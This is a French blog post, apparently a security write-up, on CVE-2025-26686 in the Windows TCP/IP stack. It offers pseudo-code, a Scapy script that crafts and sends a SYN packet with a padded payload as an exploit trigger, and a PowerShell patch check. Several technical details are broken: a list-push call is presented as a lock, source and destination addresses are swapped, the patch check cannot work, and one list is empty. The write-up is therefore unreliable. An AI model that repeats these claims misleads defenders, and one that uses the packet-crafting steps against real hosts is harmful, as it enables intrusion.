
Une vulnérabilité critique d'exécution de code à distance (RCE) dans la pile TCP/IP de Windows (CVE-2025-26686) laisse de la mémoire sensible déverrouillée, permettant à des attaquants distants de détourner des systèmes. Exploitable via le réseau, elle risque une compromission totale. Appliquez le correctif maintenant.
Une vulnérabilité critique d’exécution de code à distance dans la pile TCP/IP de Windows (CVE-2025-26686) laisse une zone sensible de la mémoire déverrouillée, permettant à des attaquants distants de détourner des systèmes. Exploitable sur le réseau, elle risque une compromission totale. Appliquez le correctif maintenant
Par Mark Mallia
Type : Exécution de code à distance (RCE)
Gravité : Critique
Vecteur d’attaque : Réseau
Systèmes concernés : éditions Windows 10, 11 et Server
Une nouvelle faille identifiée sous le nom de CVE‑2025‑26686 a été découverte dans la pile TCP/IP de Microsoft. Elle provient de l’absence de verrouillage sur une région critique de la mémoire qui stocke les clés cryptographiques, les données de session ou la configuration réseau. Comme cette zone n’est pas protégée pendant le traitement des paquets, un attaquant peut lire ou modifier ces informations sur le réseau et obtenir un accès de niveau administrateur local.
La pile TCP/IP de Windows 10/11/Server n’acquiert pas de spin-lock approprié lorsqu’elle écrit dans certains tampons contenant des données de session. Ce verrou manquant signifie que deux paquets peuvent être en concurrence, permettant à un attaquant d’insérer du code malveillant dans le tampon avant que le processus d’origine n’ait terminé son écriture.
Points clés :
La vulnérabilité apparaît dans le module tcpip.sys, plus précisément autour de la routine qui traite les segments TCP entrants. Le chemin de code responsable de la mise à jour du bloc de « données de session » devrait acquérir un verrou avant d’écrire en mémoire. Dans les versions récentes de Windows, le verrou est omis dans une branche conditionnelle, ce qui peut conduire à une écriture non protégée.
Un exemple reproductible minimal est présenté ci-dessous (pseudo-code de style C++).
// tcpip.sys – problematic region
void TcpIpHandleSegment(Packet *p)
{
// … earlier code …
if (p->flags & SYN_FLAG) {
/* lock missing here */
memcpy(&sessionData, p->payload, p->len);
// … later code …
}
}
Dans une version correctement protégée, la section critique serait gardée par un spin-lock verrouillé en entrelacement :
// tcpip.sys – fixed region
void TcpIpHandleSegment(Packet *p)
{
// … earlier code …
if (p->flags & SYN_FLAG) {
_InterlockedPushEntrySList(&SessionLock, &sessionData);
memcpy(&sessionData, p->payload, p->len);
// … later code …
}
}
Le correctif ajoute un appel à _InterlockedPushEntrySList, ce qui garantit un accès exclusif à sessionData pendant sa mise à jour.
La vulnérabilité est déclenchée lorsqu’un segment TCP entrant portant le drapeau SYN atteint tcpip.sys.
Pour que le paquet corresponde à ce chemin de code, nous définissons les champs suivants :
Layer Field Typical value for CVE‑2025‑26686 IP src Adresse IP de l’hôte cible (p. ex. 10.0.0.10) dst IP de l’attaquant (p. ex. 192.168.1.2) TCP sport Port de l’attaquant (p. ex. 4444) dport Port d’écoute du service cible (p. ex. 80 pour HTTP) flags « S » pour SYN afin d’atteindre la branche dans TcpIpHandleSegment
ip_layer = IP(src="10.0.0.10", dst="192.168.1.2")
tcp_layer = TCP(sport=4444, dport=80, flags="S")
# The payload carries the data that will overwrite sessionData in tcpip.sys.
payload = "ExploitKey" + "A"*512 # 512 bytes of crafted content
pkt = ip_layer / tcp_layer / Raw(load=payload)
À ce stade, vous pouvez vérifier la structure du paquet :
pkt.show()
La sortie révélera des champs tels que IP → src, dst ; TCP → sport, dport, flags ; ainsi qu’une charge utile Raw de 512 octets.
C’est la séquence exacte que Windows attend lorsqu’il traite les segments entrants avec le drapeau SYN.
send(pkt)
La commande envoie le paquet directement depuis votre machine vers la pile TCP/IP de l’hôte cible.
Si vous exécutez le script sur une VM Linux avec Scapy installé, le paquet atteindra la machine Windows et déclenchera le chemin de code dans tcpip.sys.
Étant donné que l’attaquant peut modifier la mémoire contenant des clés cryptographiques ou la configuration de session, la faille permet :
Un script de vérification rapide peut être utilisé pour confirmer la présence du verrou dans le système :
# Verify the interlocked entry is present in tcpip.sys
Get-ChildItem -Path C:\Windows\System32\tcpip.sys |
Select-Object Name, @{Name='PatchPresent';Expression={
$_.FullName -match '_InterlockedPushEntrySList' } }
Si PatchPresent renvoie $True, l’atténuation est en place.
CVE-2025-26686 n’est pas simplement une ligne de plus dans une base de données de vulnérabilités : c’est un signal d’alarme. Lorsque des composants fondamentaux comme la pile TCP/IP sont compromis, les effets en cascade peuvent se faire sentir sur des réseaux et des industries entiers. Cette faille nous rappelle que même les systèmes les plus fiables exigent une vigilance et un soin constants.En tant qu’ingénieurs et défenseurs, notre responsabilité ne consiste pas seulement à comprendre ces vulnérabilités, mais aussi à agir avec intégrité. Les informations partagées ici sont destinées uniquement à un usage éthique afin de renforcer les défenses, d’éclairer un patch responsable et de permettre aux organisations de protéger leurs utilisateurs.